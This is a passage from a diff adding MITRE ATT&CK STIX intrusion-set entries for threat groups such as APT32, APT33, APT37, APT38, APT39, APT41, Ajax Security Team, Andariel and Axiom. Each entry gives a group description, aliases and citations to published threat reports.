], + "id": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "description": "[APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)", + "x_mitre_contributors": [ + "Romain Dumont, ESET" + ], + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0050", + "external_id": "G0050", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)", + "source_name": "APT32" + }, + { + "description": "(Citation: Cybereason Oceanlotus May 2017)", + "source_name": "SeaLotus" + }, + { + "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)", + "source_name": "OceanLotus" + }, + { + "description": "(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)", + "source_name": "APT-C-00" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017" + }, + { + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "source_name": "Volexity OceanLotus Nov 2017" + }, + { + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "source_name": "ESET OceanLotus" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.", + "source_name": "Amnesty Intl. Ocean Lotus February 2021" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT33", + "description": "[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "x_mitre_version": "1.4", + "modified": "2021-05-26T12:40:42.907Z", + "aliases": [ + "APT33", + "HOLMIUM", + "Elfin" + ], + "created": "2018-04-18T17:59:24.739Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0064", + "external_id": "G0064", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "source_name": "APT33" + }, + { + "description": "(Citation: Microsoft Holmium June 2020)", + "source_name": "HOLMIUM" + }, + { + "description": "(Citation: Symantec Elfin Mar 2019)", + "source_name": "Elfin" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "source_name": "FireEye APT33 Sept 2017" + }, + { + "url": "https://www.brighttalk.com/webcast/10703/275683", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "source_name": "FireEye APT33 Webinar Sept 2017" + }, + { + "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/", + "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020.", + "source_name": "Microsoft Holmium June 2020" + }, + { + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "source_name": "Symantec Elfin Mar 2019" + } + ] + }, + { + "type": "intrusion-set", + "modified": "2018-10-17T00:17:13.469Z", + "id": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6", + "created": "2018-01-16T16:13:52.465Z", + "name": "APT34", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0057", + "external_id": "G0057", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "APT37", + "x_mitre_version": "2.0", + "modified": "2021-10-15T16:54:01.193Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "APT37", + "Richochet Chollima", + "InkySquid", + "ScarCruft", + "Reaper", + "Group123", + "TEMP.Reaper" + ], + "id": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "description": "[APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ], + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0067", + "external_id": "G0067", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "APT37" + }, + { + "description": "(Citation: CrowdStrike Richochet Chollima September 2021)", + "source_name": "Richochet Chollima" + }, + { + "description": "(Citation: Volexity InkySquid BLUELIGHT August 2021)", + "source_name": "InkySquid" + }, + { + "description": "(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019)", + "source_name": "ScarCruft" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "Reaper" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "Group123" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "TEMP.Reaper" + }, + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018" + }, + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "url": "https://adversary.crowdstrike.com/en-US/adversary/ricochet-chollima/", + "description": "CrowdStrike. (2021, September 30). Adversary Profile - Richochet Chollima. Retrieved September 30, 2021.", + "source_name": "CrowdStrike Richochet Chollima September 2021" + }, + { + "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", + "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.", + "source_name": "Volexity InkySquid BLUELIGHT August 2021" + }, + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "APT38", + "description": "[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", + "x_mitre_version": "2.0", + "modified": "2021-10-15T16:33:27.982Z", + "aliases": [ + "APT38", + "NICKEL GLADSTONE", + "BeagleBoyz", + "Bluenoroff", + "Stardust Chollima" + ], + "created": "2019-01-29T21:27:24.793Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0082", + "external_id": "G0082", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT38 Oct 2018)", + "source_name": "APT38" + }, + { + "description": "(Citation: SecureWorks NICKEL GLADSTONE profile Sept 2021)", + "source_name": "NICKEL GLADSTONE" + }, + { + "description": "(Citation: CISA AA20-239A BeagleBoyz August 2020)", + "source_name": "BeagleBoyz" + }, + { + "description": "(Citation: Kaspersky Lazarus Under The Hood Blog 2017)", + "source_name": "Bluenoroff" + }, + { + "description": "(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)", + "source_name": "Stardust Chollima" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", + "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.", + "source_name": "CISA AA20-239A BeagleBoyz August 2020" + }, + { + "url": "https://content.fireeye.com/apt/rpt-apt38", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018" + }, + { + "url": "https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and", + "description": "Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.", + "source_name": "DOJ North Korea Indictment Feb 2021" + }, + { + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/nickel-gladstone", + "description": "SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.", + "source_name": "SecureWorks NICKEL GLADSTONE profile Sept 2021" + }, + { + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/", + "description": "Meyers, Adam. (2018, April 6). Meet CrowdStrike\u2019s Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021.", + "source_name": "CrowdStrike Stardust Chollima Profile April 2018" + }, + { + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "description": "CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021.", + "source_name": "CrowdStrike GTR 2021 June 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "APT39", + "description": "[APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyberespionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)", + "x_mitre_version": "3.1", + "modified": "2021-10-12T23:08:30.844Z", + "aliases": [ + "APT39", + "REMIX KITTEN", + "ITG07", + "Chafer" + ], + "created": "2019-02-19T16:01:38.585Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0087", + "external_id": "G0087", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)", + "source_name": "APT39" + }, + { + "description": "(Citation: Crowdstrike GTR2020 Mar 2020)", + "source_name": "REMIX KITTEN" + }, + { + "description": "(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)", + "source_name": "ITG07" + }, + { + "description": "Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)", + "source_name": "Chafer" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", + "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", + "source_name": "FireEye APT39 Jan 2019" + }, + { + "source_name": "Symantec Chafer Dec 2015", + "description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.", + "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" + }, + { + "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", + "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.", + "source_name": "FBI FLASH APT39 September 2020" + }, + { + "url": "https://home.treasury.gov/news/press-releases/sm1127", + "description": "Dept. of Treasury. (2020, September 17). Treasury Sanctions Cyber Actors Backed by Iranian Intelligence. Retrieved December 10, 2020.", + "source_name": "Dept. of Treasury Iran Sanctions September 2020" + }, + { + "url": "https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt", + "description": "DOJ. (2020, September 17). Department of Justice and Partner Departments and Agencies Conduct Coordinated Actions to Disrupt and Deter Iranian Malicious Cyber Activities Targeting the United States and the Broader International Community. Retrieved December 10, 2020.", + "source_name": "DOJ Iran Indictments September 2020" + }, + { + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", + "source_name": "Crowdstrike GTR2020 Mar 2020" + }, + { + "url": "https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764", + "description": "Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020.", + "source_name": "Dark Reading APT39 JAN 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "APT41", + "x_mitre_version": "3.0", + "modified": "2021-10-15T00:28:08.413Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "APT41", + "WICKED PANDA" + ], + "id": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "description": "[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\n", + "x_mitre_contributors": [ + "Kyaw Pyiyt Htet, @KyawPyiytHtet" + ], + "created": "2019-09-23T13:43:36.945Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0096", + "url": "https://attack.mitre.org/groups/G0096" + }, + { + "description": "(Citation: FireEye APT41 2019)", + "source_name": "APT41" + }, + { + "description": "(Citation: Crowdstrike GTR2020 Mar 2020)", + "source_name": "WICKED PANDA" + }, + { + "url": "https://content.fireeye.com/apt-41/rpt-apt41", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019" + }, + { + "url": "https://blog.group-ib.com/colunmtk_apt41", + "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.", + "source_name": "Group IB APT 41 June 2021" + }, + { + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", + "source_name": "Crowdstrike GTR2020 Mar 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Ajax Security Team", + "description": "[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)", + "x_mitre_version": "1.0", + "modified": "2021-04-22T20:13:14.377Z", + "aliases": [ + "Ajax Security Team", + "Operation Woolen-Goldfish", + "AjaxTM", + "Rocket Kitten", + "Flying Kitten", + "Operation Saffron Rose" + ], + "created": "2021-04-14T13:17:43.941Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0130", + "external_id": "G0130", + "source_name": "mitre-attack" + }, + { + "description": "Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015)", + "source_name": "Operation Woolen-Goldfish" + }, + { + "description": "(Citation: FireEye Operation Saffron Rose 2013)", + "source_name": "AjaxTM" + }, + { + "description": "Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017)", + "source_name": "Rocket Kitten" + }, + { + "description": "(Citation: CrowdStrike Flying Kitten )", + "source_name": "Flying Kitten" + }, + { + "description": "(Citation: FireEye Operation Saffron Rose 2013)", + "source_name": "Operation Saffron Rose" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf", + "description": "Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020.", + "source_name": "FireEye Operation Saffron Rose 2013" + }, + { + "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", + "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.", + "source_name": "Check Point Rocket Kitten" + }, + { + "url": "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf", + "description": "Cedric Pernet, Kenney Lu. (2015, March 19). Operation Woolen-Goldfish - When Kittens Go phishing. Retrieved April 21, 2021.", + "source_name": "TrendMicro Operation Woolen Goldfish March 2015" + }, + { + "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/", + "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.", + "source_name": "IranThreats Kittens Dec 2017" + }, + { + "url": "https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/", + "description": "Dahl, M.. (2014, May 13). Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN. Retrieved May 27, 2020.", + "source_name": "CrowdStrike Flying Kitten " + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Andariel", + "x_mitre_version": "1.0", + "modified": "2021-10-15T15:16:47.329Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Andariel", + "Silent Chollima" + ], + "id": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", + "description": "[Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)\n\n[Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", + "x_mitre_contributors": [ + "Kyoung-ju Kwak (S2W)" + ], + "created": "2021-09-29T15:10:19.236Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0138", + "external_id": "G0138", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FSI Andariel Campaign Rifle July 2017)", + "source_name": "Andariel" + }, + { + "description": "(Citation: CrowdStrike Silent Chollima Adversary September 2021)", + "source_name": "Silent Chollima" + }, + { + "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1680.do", + "description": "FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 29, 2021.", + "source_name": "FSI Andariel Campaign Rifle July 2017" + }, + { + "url": "http://www.issuemakerslab.com/research3/", + "description": "IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 29, 2021.", + "source_name": "IssueMakersLab Andariel GoldenAxe May 2017" + }, + { + "url": "http://download.ahnlab.com/global/brochure/[Analysis]Andariel_Group.pdf", + "description": "AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.", + "source_name": "AhnLab Andariel Subgroup of Lazarus June 2018" + }, + { + "url": "https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html", + "description": "Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021.", + "source_name": "TrendMicro New Andariel Tactics July 2018" + }, + { + "url": "https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/", + "description": "CrowdStrike. (2021, September 29). Silent Chollima Adversary Profile. Retrieved September 29, 2021.", + "source_name": "CrowdStrike Silent Chollima Adversary September 2021" + }, + { + "url": "https://home.treasury.gov/news/press-releases/sm774", + "description": "US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.", + "source_name": "Treasury North Korean Cyber Groups September 2019" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Axiom", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti for Windows](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", + "x_mitre_version": "1.2", + "modified": "2020-03-30T18:52:38.226Z", + "aliases": [ + "Axiom", + "Group 72" + ], + "created": "2017-05-31T21:31:45.629Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0001", + "external_id": "G0001", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Novetta-Axiom)", + "source_name": "Axiom" + }, + { + "description": "(Citation: Cisco Group 72)", + "source_name": "Group 72" + }, + { + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "source_name": "Novetta-Axiom" + }, + { + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "source_name": "Kaspersky Winnti April 2013" + }, + { + "url": "https://securelist.com/games-are-over/70991/", + "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.", + "source_name": "Kaspersky Winnti June 2015" + }, + { + "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf", + "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", + "source_name": "Novetta Winnti April 2015" + }, + { + "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72", + "description": "Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.", + "source_name": "Cisco Group 72" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "BRONZE 